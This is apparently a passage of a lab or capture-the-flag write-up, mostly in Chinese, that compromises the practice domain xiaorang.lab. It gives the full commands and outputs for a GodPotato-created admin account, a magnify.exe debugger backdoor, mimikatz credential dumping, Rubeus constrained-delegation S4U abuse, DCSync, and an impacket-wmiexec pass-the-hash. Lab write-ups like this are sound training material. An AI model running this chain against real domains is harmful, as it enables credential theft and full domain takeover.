  TCP    [fe80::90b6:2cac:a881:8a50%5]:49718  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49720  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49722  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49724  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49726  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49728  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49730  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49732  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49734  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49736  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49738  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49740  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49742  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49744  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49746  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49748  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49750  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49752  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49754  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49756  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49758  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49760  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49762  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49764  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49766  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49768  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49770  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49772  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49774  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49776  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49778  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49780  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49785  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49791  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49793  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49795  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49797  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49799  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49801  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49803  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49805  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49807  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49809  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49811  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49813  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49815  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49817  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49819  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49821  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49823  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49825  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49827  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49829  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49831  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49833  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49835  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49837  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49839  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49841  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49843  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49845  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49847  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49849  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49851  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49853  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49855  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49857  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49859  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49861  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49863  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49865  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49867  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49869  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3784
  UDP    0.0.0.0:123            *:*                                    960
  UDP    0.0.0.0:500            *:*                                    824
  UDP    0.0.0.0:3389           *:*                                    804
  UDP    0.0.0.0:4500           *:*                                    824
  UDP    0.0.0.0:5050           *:*                                    960
  UDP    0.0.0.0:5353           *:*                                    1020
  UDP    0.0.0.0:5355           *:*                                    1020
  UDP    127.0.0.1:57672        *:*                                    548
  UDP    127.0.0.1:58213        *:*                                    5472
  UDP    127.0.0.1:63593        *:*                                    824
  UDP    172.22.2.16:137        *:*                                    4
  UDP    172.22.2.16:138        *:*                                    4
  UDP    [::]:123               *:*                                    960
  UDP    [::]:500               *:*                                    824
  UDP    [::]:3389              *:*                                    804
  UDP    [::]:4500              *:*                                    824
  UDP    [::]:5353              *:*                                    1020
  UDP    [::]:5355              *:*                                    1020

新建管理员用户 RDP

3389 是 Windows 遠端桌面協定 RDP（Remote Desktop Protocol）的預設端口

可以看到在UDP 3389 :

1
UDP    0.0.0.0:3389           *:*                                    804

C:\迅雷下载\GodPotato.exe -cmd "cmd /c net user ghsc ghsc123 /add"

C:\迅雷下载\GodPotato.exe -cmd "cmd /c net localgroup administrators ghsc /add"

命令成功完成。

在本機搜尋遠程桌面:

截图 截图

按第一個: 之後登進去後把 SharpHound PowerView mimikatz 放進靶機

截图 截图

flag04

之後就是用sharphound 來收集域内信息:

1
sharphound.exe -c all
截图

要變成域內用戶才可以收集AD

用映像劫持放大鏡:

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
截图 截图 截图 截图

桌面多了一個AD包: 下到本機上在Docker 打開bloodhound 分析:

截图 截图

看看最短路徑

截图

约束委派攻击

a002a67427a0f6df17ce88f9f9b07f7a.png

剛剛是跟這個路徑打上去的 , 有一個AllowedToDelegate : 提示存在委派 , 上去看看有什麼服務提供:

截图

此時可以用靶機上的powerview來看看:
回到域權powershell :

1
2
3
4
powershell
cd "C:\Users\ghsc\Desktop"
Import-Module .\PowerView.ps1
Get-DomainComputer -TrustedToAuth -Properties samaccountname,msds-allowedtodelegateto
截图

可以找到是有ldap的服務: 要找到Service Ticket (ST)

截图

用靶機的hash -> 申請 TGT 向 TGS请求代表 Administrator 用户访问 DC.XIAORANG.LAB 上的 LDAP 的 ST

可以用Rubeus來攻擊: 放上Rubeus , 之前先打開mimikatz來拿到用戶的hash:

mssqlserver$ 的hash

1
2
3
4
mimikatz.exe
privilege::debug
log 1.txt
sekurlsa::logonpasswords
截图

hash : 80344cc0fedbb0ae1f4182c0ba7155c6

1
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:80344cc0fedbb0ae1f4182c0ba7155c6 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap 
1
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:[base64]
1
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE2w3POu/wSKpkEUtY+cEDMZ6+2QrIL/HNJVWQeHxMrdxykNHhopH7Pvd4upnHRJAFsb/LiJ1i0N0xu249lftIQAbHWq1AwWnY0igkjzkPib7/KCf1Nv+IPqSYjqeHlFrwt/YneEii/BfQF8hypMENpYvEqKeZIJ+JHgZsxKANFo3uhxSYjHSw+/BrR5NANF1J4Q/SqGdIf8D5THbubnFZFYM7hHeNpSGhnxRqGU50K1Nil/1yAb6whvHfkLoldKAA9zIaa08kFi51UwLw/ywywlH3ajO+CEnDhqJAI/dp9rHwiqn0Q72FHPpVvVqqD477qeQxPDFLOydiFgKpGNwFpUzvWB+9S1EmPCBjhpW9M0v6n3Q0uiF47KAMgnirFyUwgAL6EXg82wmxSjr6AsAqqVBP1R1EDqx5/WleWuRcac743z2YmNbE22G5jXjC7z9yQkSRKdYxhm22EpvtbeUq/yXi4TRlQnTf9n3Hz/IjMmNQo5NVHDyg2WeK7Y8mAjCxUaMZKiXOorlZd1mTMdwCHmaWkybWZruF5lI17TS50Nx9Vbl37+fQHGs5AqI9mLVRNDtLLmTf8tQNmuUia6e6dHWKmcSw6E25Pr/hwjnHNrg/M+Y1RFxT5GpxNbkmcuq2BzkOiY6rfo03ujsbPhqd0m3VUB+ykW7z+5vGRokNlASuFBYQk28M3xED9KvpHSXFwiVH7gsKxx3pdzT9He/QMV4A8MlbOPsqayDUwZWuE3hqekuyq6p0FddfJJBD/XAySk9u7i6QL6TFl70Bg4/RsE4uyQkmqLyL2A3fw1kBZv4rN1Vck/R1zWy653eUT/YOlc399VfXw9pecbmmMZmhKZmQnvjdiDPW7PNHi89bpL0eCzEv4OaYru0/9UoL/Xg54ziD3f5fuSe5VXxc4LvBGT9GGf0ZAVXM+1JaNxMwplXJr8HZw6grrvAuZ4AQD42p7wqrPhoLxToBUPp40e69qo2gGynRkBiokUS0dCtqzyTsz6o1zDpW0NFwC3PNpYWi1YPjq1vjJ/u8sP1E+vub2/BFpAS0KvILrJ1xk9zHGMMlWJ4icwz6kQQir8DkyGHiX3KE9+Z7wociEzLMRQMg/hAct5+dgiYoo2wrFgb+VUfWBFa70GistrpCgnm/rrLzQPOY9wOwxMHMlAz4KHatsNEKxJoK4Me2JW8/FsEdSuyLhrDKseAm2ISzZE/xEJJ1vfQmCsELQBLzLYNmh8KqX5PG5++CNi9K26XScsYvRB3n+xBgZafr8owFL/xIT5sXfcX5u1oDZaDisnCfMT4duv8nMqPiu4GuCu0mHMkeEVzOIZ4GQb7ghoiHsDBn+mUYCPk6nINugvEnCZA/M8A9gAIiO8xbSYBinRL/fbEuFcBHs357dWGK3MPrO0S7YHeklBpcuzwjPJplF75ZfrTwNnrywnR8on8AntgTABBaKwZ0f6saPqw/etsQSwnj2jgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBDbUFPai1L4+pb4rz2cWXYhoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI2MTAxNTEyMjcwMVqmERgPMjAyNjEwMTUyMjI3MDFapxEYDzIwMjYxMDIyMTIyNzAxWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
截图

DCSync

DCSync 利用 Active Directory 的 目錄複寫機制（DRSUAPI）

我们获取到了LDAP 服务的ST后，就可以与域控进行交互了，并且可以借助mimikatz 进行DCSync攻击

1
lsadump::dcsync /domain:xiaorang.lab /user:Administrator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
PS C:\Users\ghsc\Desktop> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /domain:xiaorang.lab /user:Administrator
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC.xiaorang.lab' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration   : 1601/1/1 8:00:00
Password last change : 2026/10/15 14:00:32
Object Security ID   : S-1-5-21-2704639352-1689326099-2164665914-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 1a19251fbd935969832616366ae3fe62
    ntlm- 0: 1a19251fbd935969832616366ae3fe62
    ntlm- 1: 1a19251fbd935969832616366ae3fe62
    lm  - 0: a220eb1523b5fdb5215cd599ffcf4de8

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 2f5eefe34df96e4ac2bd523bf8d43291

* Primary:Kerberos-Newer-Keys *
    Default Salt : XIAORANG.LABAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 3f91ec8a41fe7f074cd9dde729759b53f8b02a2804f3317400efca39ad9d71b4
      aes128_hmac       (4096) : 4f61f64c4df0a8b43c55a82a03f53283
      des_cbc_md5       (4096) : e302404989526829

* Primary:Kerberos *
    Default Salt : XIAORANG.LABAdministrator
    Credentials
      des_cbc_md5       : e302404989526829

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  f49b5f58ea17c16d84b6caed3329e3eb
    02  2981a4cb7b89f9bdbe88b7e0a4be4bcd
    03  de5143c5f9abb8f5b1d0d9f26240bf68
    04  f49b5f58ea17c16d84b6caed3329e3eb
    05  7b4675c811c27b8b18d04ca1fddeab41
    06  0b634747c142cc2c998e873593275a6d
    07  9a850919e1ce9eb117bab41421d98841
    08  3b8e33ee6be631a58fb99ad840c4053a
    09  cba8c3b50ecfac00fb2913c49d92fa37
    10  36cb83756fcf0726bd045799e5888dac
    11  136f255e1b4e6eea7c1aab41fbca96d9
    12  3b8e33ee6be631a58fb99ad840c4053a
    13  403cb5710544a5276aa1ed5cbb03ef37
    14  3707bc9d95d4e8c470a2efe6bb814886
    15  857cbad29e96529a5366944574b99a6d
    16  311fa13028ceca341a2d20631b89a0c0
    17  50713d47019ffbf289fbf07ed91e34dc
    18  a9390cb585258a8d6f132ad241de172b
    19  06f22a6c8f813dbaa73b3570012f8093
    20  a34809fbce18cec50539070bb75c78bc
    21  61f4e433240a44b9762af3ee8e2fc649
    22  dd45206bb14e3f01247d8ed295a462b2
    23  2bda6c0bd1d840139ecc2d1833aaa5f5
    24  82bb99f494642f0a3f6e29b24da8e3e1
    25  453bb36d447c78063e47a9ca8048e73d
    26  0ee52ce371145abdff3ea8b525b9f80b
    27  3f5cca3b4643f58c14a7093f27b2b604
    28  21f7240d8964d1c31d16488a859eab02
    29  0ef9bbfc7fb4c00d3de5fd0f1d548264


admin NT Hash : 1a19251fbd935969832616366ae3fe62


Pass-the-Hash(PTH)

impacket-wmiexec 是 Impacket 工具集中的 Windows 遠端命令執行工具，主要利用 Windows 的 WMI（Windows Management Instrumentation），在遠端 Windows 主機上執行命令。

在kali上: LM Hash 欄位，這裡使用全零佔位值

截图 
1
proxychains impacket-wmiexec -hashes 00000000000000000000000000000000:1a19251fbd935969832616366ae3fe62 Administrator@172.22.2.3 -codec gbk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
C:\>cd users
C:\users>dir
c 驱动器 C 中的卷没有标签。
 卷的序列号是 4659-5697

 C:\users 的目录

2022/06/08  16:30    <DIR>          .
2022/06/08  16:30    <DIR>          ..
2026/10/15  17:26    <DIR>          Administrator
2018/02/03  08:23    <DIR>          Public
               0 个文件              0 字节
               4 个目录 28,961,140,736 可用字节

C:\users>cd Administrator
C:\users\Administrator>dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 4659-5697

 C:\users\Administrator 的目录

2026/10/15  17:26    <DIR>          .
2026/10/15  17:26    <DIR>          ..
2022/06/08  16:30    <DIR>          Contacts
2022/06/08  20:00    <DIR>          Desktop
2022/06/08  16:30    <DIR>          Documents
2022/06/08  16:30    <DIR>          Downloads
2022/06/08  16:30    <DIR>          Favorites
2022/06/09  13:27    <DIR>          flag
2022/06/08  16:30    <DIR>          Links
2022/06/08  16:30    <DIR>          Music
2022/06/08  16:30    <DIR>          Pictures
2022/06/08  16:30    <DIR>          Saved Games
2022/06/08  16:30    <DIR>          Searches
2022/06/08  16:30    <DIR>          Videos
               0 个文件              0 字节
              14 个目录 28,960,985,088 可用字节

C:\users\Administrator>cat flag
'cat' 不是内部或外部命令，也不是可运行的程序
或批处理文件。

C:\users\Administrator>cd flag
C:\users\Administrator\flag>dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 4659-5697

 C:\users\Administrator\flag 的目录

2022/06/09  13:27    <DIR>          .
2022/06/09  13:27    <DIR>          ..
2026/10/15  14:00             1,345 flag04.txt
               1 个文件          1,345 字节
               2 个目录 28,960,923,648 可用字节

C:\users\Administrator\flag>scp flag04.txt
'scp' 不是内部或外部命令，也不是可运行的程序
或批处理文件。

C:\users\Administrator\flag>cat flag04.txt
'cat' 不是内部或外部命令，也不是可运行的程序
或批处理文件。

C:\users\Administrator\flag>type flag04.txt
 ######:                                               ###   ######:                             ## 
 #######                         ##                   :###   #######                             ## 
 ##   :##                        ##                  .####   ##   :##                            ## 
 ##    ##   ##.####  ##    ##  #######    .####:     ##.##   ##    ##   .####.    :####     :###.## 
 ##   :##   #######  ##    ##  #######   .######:   :#: ##   ##   :##  .######.   ######   :####### 
 #######.   ###.     ##    ##    ##      ##:  :##  .##  ##   #######:  ###  ###   #:  :##  ###  ### 
 #######.   ##       ##    ##    ##      ########  ##   ##   ######    ##.  .##    :#####  ##.  .## 
 ##   :##   ##       ##    ##    ##      ########  ########  ##   ##.  ##    ##  .#######  ##    ## 
 ##    ##   ##       ##    ##    ##      ##        ########  ##   ##   ##.  .##  ## .  ##  ##.  .## 
 ##   :##   ##       ##:  ###    ##.     ###.  :#       ##   ##   :##  ###  ###  ##:  ###  ###  ### 
 ########   ##        #######    #####   .#######       ##   ##    ##: .######.  ########  :####### 
 ######     ##         ###.##    .####    .#####:       ##   ##    ###  .####.     ###.##   :###.## 


Well done hacking!
This is the final flag, you deserve it!


flag04: flag{d74733e4-e1f3-4411-bb12-c50b4f86f77a}

C:\users\Administrator\flag>